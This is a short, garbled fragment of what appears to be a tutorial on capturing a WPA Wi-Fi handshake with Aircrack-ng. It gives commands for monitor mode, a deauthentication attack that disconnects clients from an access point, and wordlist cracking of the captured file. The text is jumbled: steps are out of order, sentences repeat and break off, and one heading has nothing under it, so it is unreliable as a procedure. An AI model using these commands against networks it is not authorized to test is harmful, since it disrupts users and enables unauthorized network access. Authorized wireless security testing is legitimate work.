Handshake — Aircrack-ng

WPA handshake: <AP_MAC> The .cap file now contains the handshake. Press Ctrl+C to stop airodump-ng . To verify the handshake explicitly:

Restore network services:

sudo airmon-ng start wlan0 The interface becomes wlan0mon . Use airodump-ng to discover nearby networks: aircrack-ng handshake

sudo aireplay-ng --deauth 5 -a <AP_MAC> wlan0mon This sends 5 deauth packets to broadcast, disconnecting connected clients. Upon reconnection, the 4-way handshake occurs. In the airodump-ng window, watch the top-right corner. When a handshake is captured, you’ll see: WPA handshake: &lt;AP_MAC&gt; The

sudo aircrack-ng capture-01.cap If valid, Aircrack-ng will show “1 handshake” in the output. WPA handshake: &lt

aircrack-ng -w wordlist.txt capture-01.cap